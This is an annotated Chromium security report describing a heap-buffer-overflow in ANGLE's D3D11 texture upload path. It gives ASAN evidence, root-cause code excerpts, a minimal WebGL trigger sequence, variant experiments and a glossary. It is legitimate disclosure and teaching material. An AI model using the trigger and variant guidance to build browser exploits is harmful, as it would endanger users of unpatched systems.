The ASAN summary names d3d10warp.dll as the faulting module, and the shadow bytes around the buggy address show the heap redzone (fa) immediately after the accessible region.

Shadow bytes are ASAN's own map of which memory is safe to use. Each shadow byte describes eight bytes of real memory. 00 means all eight are fine, fa means a heap redzone, memory that is deliberately off limits. Seeing fa right after the address means the read crossed from valid memory into the redzone, which is exactly what an overflow looks like.

Step 4: control

Removing the first texImage2D call, the stale level-1 image, so that only the base level plus generateMipmap remains, runs cleanly with no overflow. This confirms the stale non-base level is the cause.

In testing, a control is a version of the experiment with one ingredient removed. If the crash disappears when you remove that ingredient, you have good evidence that the ingredient is what caused it, rather than something else in the setup.

Root cause

During robust resource initialisation, ANGLE sizes the zero-fill source buffer from a texture level's image dimensions, but uploads it with a full-subresource UpdateSubresource (pDstBox = NULL), which fills the entire native storage subresource, whose dimensions are derived from the base level.

In TextureD3D::initializeContents (src/libANGLE/renderer/d3d/TextureD3D.cpp):

Text
computeRowPitch(type, image->getWidth(), 1, 0, &imageBytes);   // :952 IMAGE dims
imageBytes *= image->getHeight() * image->getDepth();          // :955-958
context->getZeroFilledBuffer(imageBytes, &zeroBuffer);         // :965 image-sized buffer
mTexStorage->setData(context, index, image, nullptr, ..., zeroBuffer->data()); // :969

This is the part that decides how big the zero-fill buffer should be:

  • computeRowPitch(...) works out how many bytes one row of the image takes, using the image's own width. A row pitch is the number of bytes from the start of one row of pixels to the start of the next, which is not always just width times bytes per pixel because of alignment.
  • imageBytes *= image->getHeight() * image->getDepth(); multiplies by the height and depth to get the total size. Depth is the third dimension, relevant for 3D textures.
  • context->getZeroFilledBuffer(imageBytes, &zeroBuffer); allocates a buffer of that size and fills it with zeros. This is the buffer that later gets over-read.
  • mTexStorage->setData(...) passes that buffer on to the storage layer to be uploaded.

The key point: the size is computed from the image description, the small stale level 1.

In TextureStorage11::setData (src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp):

Text
levelBox = { getLevelWidth(level), getLevelHeight(level), ... };            // :804 STORAGE dims
fullUpdate = (destBox == nullptr || *destBox == levelBox);                  // :806
width  = destBox ? destBox->width  : image->getWidth();                     // :817 IMAGE dims
computeRowDepthSkipBytes(type, width, height, ...) -> srcRowPitch           // :824
UpdateSubresource(resource, destSubresource, /*pDstBox=*/nullptr, data, ...);// :891
  • levelBox = { getLevelWidth(level), getLevelHeight(level), ... }; builds a box describing the size of the level according to the storage, the real allocated memory, which was built from the large base level.
  • fullUpdate = (destBox == nullptr || *destBox == levelBox); decides whether the whole subresource is being replaced. A subresource is one level of one texture.
  • width = destBox ? destBox->width : image->getWidth(); picks the width to use for the source data. With no destination box, it falls back to the image width, the small one.
  • computeRowDepthSkipBytes(...) computes the source row pitch from that width.
  • UpdateSubresource(resource, destSubresource, /*pDstBox=*/nullptr, data, ...) is the Direct3D call that copies the data in. Passing nullptr as the destination box means "fill the whole subresource", so Direct3D uses the storage dimensions, the large ones.

For robust init destBox is null, so UpdateSubresource fills the whole storage subresource, using storage-level dimensions, while the source buffer and pitch were computed from the image dimensions. When a non-base level holds a stale image smaller than the geometric storage level, a state reachable through ordinary texture redefinition followed by generateMipmap, Direct3D accesses the source beyond its allocated size.

In everyday terms: someone packs a small box using the label on the small parcel, then hands it to a courier who has been told to fill a much larger crate from it. The courier keeps reading past the end of the small parcel.

The minimal trigger is texImage2D(level 1, R8, 2x16), then texImage2D(level 0, RGBA8, 16x128), then generateMipmap. generateMipmap builds storage from base level 0, so storage level 1 is RGBA8 8x64 = 2048 bytes. Robust init sizes the zero buffer from the stale level-1 image, R8 2x16 = 32 bytes, and UpdateSubresource then processes it as the 2048-byte storage level.

Impact

AddressSanitizer reports a heap-buffer-overflow reaching D3D10Warp.dll from TextureStorage11::setData during generateMipmap. The researcher observed an out-of-bounds read, and did not construct an out-of-bounds write or a web-observable info leak, but has not ruled out higher-impact variants of this desync. Severity assessment was deferred to the ANGLE and security team, particularly given that the Metal sibling, chromium:499006005, was rated High.

An info leak would mean a web page managing to read memory it should not see, which could expose data from other pages or the browser itself. The researcher explicitly did not build one, and did not build an out-of-bounds write either. Severity is the rating of how serious a bug is; the researcher left that judgement to the team that owns the code.

The crash manifests on the D3D11 WARP device, which is the default on GPU-less Windows hosts: VPS, cloud, VDI, RDP, Windows Server and containers. On discrete-GPU D3D11 the same undersized upload occurs but is serviced by the driver and DMA and is not ASAN-instrumented, so it is not observable there. The under-sizing itself is in ANGLE and is backend-common.

Reachability means how easily an attacker or a normal page can get to the buggy code. Discrete GPU means a separate graphics card rather than graphics built into the processor. DMA is direct memory access, hardware that moves data without the CPU doing each step. Instrumented means built with extra checking, as ASAN builds are. The point is that the wrong size is computed in ANGLE itself, so it is not specific to one graphics backend, even though the visible crash only shows up on the software device.

Fix

No fix is described in the report. The report notes that the earlier Metal fix for chromium:499006005 was Metal-only, and that the same desync remains unguarded in D3D11. The report does not describe a fix.

In plain words: either make the buffer as big as the destination, or make the copy stop at the size of the buffer. The two sides have to agree on one number.

Variants to test

  1. Other backends that share the image-versus-storage sizing logic. A positive result is an ASAN heap-buffer-overflow in the backend's upload path during generateMipmap after a stale non-base level is defined.
  2. Other texture redefinition sequences, for example a stale level with a different format or depth than the base level. A positive result is the same TextureStorage11::setData frame with a source buffer smaller than the storage subresource.
  3. Other entry points that trigger robust resource initialisation on a texture with stale levels, such as texSubImage2D or copy operations. A positive result is an out-of-bounds read reported by ASAN at the corresponding UpdateSubresource call.
  4. The same pattern on GPU-less hosts with the default --use-angle=d3d11, without forcing WARP. A positive result is the same crash, confirming the default configuration is affected.

These are follow-up experiments. A variant is a nearby version of the same bug, changed slightly to see whether the problem is wider than the one case found. texSubImage2D is a WebGL call that updates part of an existing texture level, as opposed to defining a whole level with texImage2D.

Glossary

  • AddressSanitizer (ASAN): a debugging tool built into special test builds that detects out-of-bounds memory accesses and reports them in detail.
  • ANGLE: the translation layer Chrome uses to run WebGL on top of native graphics APIs such as Direct3D 11 and Metal.
  • Backend: the part of a program that talks to one particular underlying system, such as Direct3D 11 or Metal.
  • Base level: level 0 of a texture, the full-size image from which smaller mipmap levels are derived.
  • Binding: telling a graphics API which object subsequent calls should apply to.
  • Canvas: the HTML element that graphics APIs draw into.
  • Container: a lightweight isolated environment for running software, often without a real graphics card.
  • Context: the object through which all WebGL drawing calls are made.
  • Control: a version of a test with one ingredient removed, used to confirm that ingredient caused the result.
  • D3D11 (Direct3D 11): Microsoft's graphics programming interface on Windows.
  • Depth: the third dimension of a texture, relevant for 3D textures.
  • Desync: a state where two parts of a program disagree about something, here the size of a texture level.
  • Discrete GPU: a separate graphics card rather than graphics built into the processor.
  • DMA (direct memory access): hardware that moves data in memory without the CPU handling each step.
  • Format: how each pixel of a texture is stored, for example R8 (one 8-bit red channel) or RGBA8 (four 8-bit channels).
  • Fuzzing: feeding a program many random or semi-random inputs to find crashes.
  • GPU process: the separate Chrome process that talks to the graphics system.
  • Heap: the area of memory a program uses for data whose size is decided while it runs.
  • Heap-buffer-overflow: reading or writing past the end of a chunk of heap memory.
  • Info leak: a bug that lets an attacker read memory they should not see.
  • Instrumented: built with extra checking, as ASAN builds are.
  • Level: one image in a texture's mipmap chain; level 0 is full size, level 1 half, and so on.
  • Metal: Apple's graphics programming interface.
  • Mipmap: a smaller copy of a texture, generated so distant objects render correctly.
  • Out-of-bounds read: reading memory outside the bounds of the intended buffer.
  • Out-of-bounds write: writing memory outside the bounds of the intended buffer.
  • RDP (Remote Desktop Protocol): Windows' way of showing a remote machine's screen.
  • Reachability: how easily the buggy code can be reached.
  • Redzone: memory ASAN marks as off limits around a buffer, to catch overflows.
  • Robust resource initialisation (robust init): filling a newly created texture with zeros so uninitialised reads return harmless data.
  • Row pitch: the number of bytes from the start of one row of pixels to the start of the next.
  • Sandbox: a security boundary that restricts what a process can do.
  • Severity: a rating of how serious a bug is.
  • Shadow bytes: ASAN's map of which memory is safe to use, one shadow byte per eight bytes of real memory.
  • Stack trace: a list of the function calls active when a crash happened, innermost first.
  • Subresource: one level of one texture.
  • Texture: an image stored in graphics memory.
  • Variant: a nearby version of a bug, changed slightly to test whether the problem is wider.
  • VDI (virtual desktop infrastructure): a setup where your desktop runs on a server rather than your own machine.
  • VPS (virtual private server): a rented machine in a data centre, often without a real graphics card.
  • WARP: Microsoft's software implementation of Direct3D 11, which does graphics work on the CPU.
  • WebGL: a way for web pages to draw graphics using the computer's graphics hardware through JavaScript.
  • WebGL2: the second, more capable version of WebGL.
  • Windows x64: the 64-bit version of Windows.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.